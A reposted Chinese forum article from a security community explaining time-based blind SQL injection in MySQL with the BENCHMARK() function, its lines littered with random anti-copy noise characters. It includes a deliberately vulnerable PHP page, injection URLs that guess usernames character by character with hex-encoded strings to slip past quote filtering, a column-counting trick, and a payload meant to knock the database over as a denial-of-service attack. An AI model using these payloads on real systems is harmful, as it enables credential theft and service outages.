找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2083|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
) T1 ^  o% x$ }' t$ i本文作者:SuperHei& R2 m& t; g% S- u" F, H! X( \
文章性质:原创* u8 K  U: l; b" `) H# P; X
发布日期:2005-01-02) N# L2 M9 Y$ f  z- q
完成日期:2004-07-09
# e  ^3 D" ?0 w4 I. z/ U; p第一部( |! V' q5 S7 H

# N% K, l% G% N7 C2 ]4 x利用时间推延进行注射---BENCHMARK函数在注射中的利用
/ A- A$ B- k5 e+ V: P
. c" ?. _( {6 Y! d# i6 P一.前言/思路
. L9 _) k* M6 X0 Q9 z- ~
( d! o) x$ O5 f, s  W1 I) J& B, t  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
: ]1 [) ?8 s/ H* d
  X* M, K7 m, ?9 h" b2 D  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。# d$ F* V9 i4 b0 Q& f; A- b7 g1 e1 h+ _
; n6 m0 ^) b1 e( p
二.关于BENCHMARK函数7 M3 k, H8 y5 @- Y, q7 o) U7 {) Y
; o! ]6 d+ o) k  a- o+ M
  在MySQL参考手册里可以看到如下描叙:
1 J4 y) l  D. v: Y$ C7 F8 j
0 |2 \% A, D2 U" a0 D- s* t3 F: O. i$ ?- j+ ]1 x$ A
--------------------------------------------------------------------------------
, ]3 {  C5 T& E. d( Y' \6 Z" |% Q9 W
% g) X( S) j% r. ]* uBENCHMARK(count,expr)
9 P$ w/ ~' d0 A/ {BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
& M8 i1 A( j9 x/ Lmysql> select BENCHMARK(1000000,encode("hello","goodbye"));
+ k! |. w% p5 J& e+----------------------------------------------+
# \: r, t9 f, l, d. K6 v# f  W4 ~2 I| BENCHMARK(1000000,encode("hello","goodbye")) | ) G0 T5 |; [  R
+----------------------------------------------+ - g+ K9 ^! d( r0 H
| 0 | 3 `: v5 I1 ~, _) L0 Y: ?+ _
+----------------------------------------------+ " s5 `& o0 P& o/ t; Q
1 row in set (4.74 sec)
7 n7 H" j8 A. z# N$ U$ w2 A% m' ^$ T7 y, L2 N: ^
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。0 R' M) i) M+ C0 e2 X! Q
9 ]2 s5 U$ @& }# T" ]  c$ j2 Z- G! E

9 ?0 C& Y+ y/ @--------------------------------------------------------------------------------
, \$ t! b1 b* t- U3 ?$ _4 X: B3 _6 N  G: u
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 1 G/ s/ V7 L9 e! K6 a) L, _7 X/ l

& h7 L9 `1 P) U' mmysql> select md5( 'test' );
1 O( f5 Y; Z( ]# q+----------------------------------+ 9 c' [3 o# W- [5 }* Z2 v
| md5( 'test' ) | . o. d- h8 Q6 u  ], Y) `% j4 P
+----------------------------------+ + {; [) M; I( q- o+ c$ w# h6 `
| 098f6bcd4621d373cade4e832627b4f6 |
" e/ C; a, t6 l* a" J  N2 [+----------------------------------+ ! s  y$ F" C% u/ D4 {& O' @
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
. J' a% k( t1 ]7 m- K# D. Y* F: b
mysql> select benchmark( 500000, md5( 'test' ) ); " B" X& o( w6 N& s: |3 r1 J
+------------------------------------+ 9 {+ e7 W  N0 H8 F8 n3 z+ s
| benchmark( 500000, md5( 'test' ) ) | ; Q( x# d% a, e
+------------------------------------+ " m% [! P: C- `
| 0 |
' g7 d( v# @; k# c3 k) Z+------------------------------------+
! p0 T2 B$ U; U* T3 n  C4 q$ C1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
0 h$ s; ^) o6 {' }
% g2 Z0 P2 j' @' i
9 u6 T6 W" f4 Q- S8 R( o& b: }: a  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 9 r6 d  }" h! f% i6 L$ G

0 J' Z5 |" `! s, t: Z: x三.具体例子
9 x* K, z1 I0 W. ~" _2 {
! @' t$ E9 g' ?& w$ [; @  首先我们看个简单的php代码:
% H- O% y: l" n5 p4 N  z6 N% w6 L/ K$ D7 E- B4 g! [
< ?php
- @: i9 ?6 ]& K, ]$servername = "localhost"; ' t9 ], ?+ k1 P
$dbusername = "root";
0 Z( ^6 T# K! k* J7 S* o$ R$dbpassword = ""; , O0 Y) k) W) T, p" \3 R4 R% D( V" C
$dbname = "injection"; . A# Z4 e0 z' l

8 j1 C- |. G/ H' a8 ?mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
8 e" O6 `$ E+ L5 K4 }, X; I0 P. H9 D5 E0 W: t" B& D& D% Q4 m) M
$sql = "SELECT * FROM article WHERE articleid=$id";
3 q0 p9 B3 q9 d: t; H" o  _$ X8 P$result = mysql_db_query($dbname,$sql); 3 Z; `. ?7 r8 ]% u, i% v
$row = mysql_fetch_array($result); ! m) }. }- F1 D
* z. {% Q+ B8 _
if (!$row)
/ A) ]' p* f# s9 K2 h% ?, f7 Y, q' \{ ' q7 r* G3 D0 i% G" h4 x
exit;
# F! W( O  m  C0 q8 M  A. p/ q} ! R. a) [# g7 ^/ Q$ u; @$ a3 r$ J
?>
/ K# t" B% T+ a7 `  S
0 ]" J7 I  Y5 s% I' l$ t# ]3 w. O% B: d2 C4 J& G- }  d
  数据库injection结构和内容如下:% g2 F4 X5 Z$ r! r

5 o9 P' r$ n! N) S1 g3 y# 数据库 : `injection` & \+ U' k' q% ?2 `
#
% T5 t4 t0 D! p9 b4 i. b" x3 I% f" E0 n, a
# -------------------------------------------------------- ' I" J+ l7 ]1 f; n, L" a

$ j) `* S: Q7 m2 a#
9 Y6 {- O6 a' e1 {# 表的结构 `article`
, ^# E2 ^) E  @( u, _# 9 L' X- i: U$ c- N! v" [' H
  x& |+ v. V) _6 p
CREATE TABLE `article` (
* I2 E7 W1 x4 Z# Y9 ~- w`articleid` int(11) NOT NULL auto_increment,
' h  j; r1 M# |9 y; _- p`title` varchar(100) NOT NULL default '',
/ F( E" d. E" ~  W2 S8 q`content` text NOT NULL,
4 {7 k: b8 r1 ?) Z* u$ h( G+ `9 rPRIMARY KEY (`articleid`) " N7 P9 M8 n' z0 ]! o
) TYPE=MyISAM AUTO_INCREMENT=3 ; 8 R' w+ s4 G# c+ |# [

4 C( o3 |9 H/ E" c2 E9 C# 1 i& L  Z: f$ @- E: q; |
# 导出表中的数据 `article`
" A5 ?2 C/ _7 J2 z. ^0 I/ M#   ?2 ]. }5 ]& v% e) c$ u; u

. K5 R; E( \5 AINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
  {( }6 {4 |! SINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 4 D( y7 i8 v, |. W' @. c
' A6 f- ~, t5 x* i
# -------------------------------------------------------- $ e/ z. [+ `( y) N( N+ R4 c, ?
( U7 u9 L+ ~& @( H4 ?/ Y
#
9 d/ f; C7 t  w8 M% [& G/ X# 表的结构 `user` + R; _% E" e8 i% Y! q
# / o4 B% Z% R) P* _; T8 `
% l: x/ c6 \$ m% u& x& W: G6 M0 @/ R) R
CREATE TABLE `user` ( ' f' C8 J. d- u: ~. B
`userid` int(11) NOT NULL auto_increment,
7 @' R# y) {  Y  b: g, H) s`username` varchar(20) NOT NULL default '',
1 ~) E# D; o, O1 I9 \, k9 y( J! Q`password` varchar(20) NOT NULL default '',
$ s; s0 M: t7 ^( G- kPRIMARY KEY (`userid`) / F+ v- j- q' |! }
) TYPE=MyISAM AUTO_INCREMENT=3 ; 2 ?0 k' P% s& e1 o4 t1 `
6 S6 X2 y" L( E% N$ [
# ( A8 Z2 _3 v' j" ]( P* D7 N+ M
# 导出表中的数据 `user`
' G: X4 a. _, V) y# " r/ g. B" E9 @1 r

' M9 U9 h% M+ NINSERT INTO `user` VALUES (1, 'angel', 'mypass'); , o- |) [3 ~9 N) Z; l
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');4 j' x% W; H' ~: \2 G

  E0 A3 v+ Y9 u  K; F) }
" _: c8 L9 d! L! U9 c  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:& I# l- b9 H  c; a! [" T, Q

  d# }; {1 c# g9 {9 t( ?- mid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*8 @4 U0 T6 q% r

) M9 ~. _0 t1 `4 Q1 P# p' D' X9 W
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:0 a/ Y1 w; r+ `3 i$ v( K
4 `( b6 j( L% E% z5 E% ^
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
. r4 @; t* V/ T* U1 X& i/ v
4 T/ X9 `$ \  d8 b+ G; D, W
0 j- P; d3 c& e7 Z  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 / z: n9 Y6 I4 @8 \% o

( N& }+ S: G' {: L: ?# n  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 7 R, A& R" L$ n
5 N# W2 N) j. b" `; ]
第二部; k! p. O/ L3 X8 K# F2 X

  {, Y( m+ G9 `* J2 I8 F; j/ _利用BENCHMARK函数进行ddos攻击
! E3 _; H3 s' u& w0 W8 f2 g2 u( Z+ u0 B5 t  B1 M: K3 R
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:7 V! c! z' k1 F! ~" R
+ @) g1 W7 k' \1 p, E! k
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
+ \& t1 J- p; J4 m! V- e % w9 X* k) @8 A& q  e
$ C! K+ c# e. i! C$ ~6 |3 }% U
小结) j" t1 h: V0 m, [. Y8 m
/ V$ J8 Y# G. Q4 i" f
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。6 K; h2 B* Y8 d' f

" v; W; ]* R8 a7 s  
0 |# l, M3 n8 L9 o# }) C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表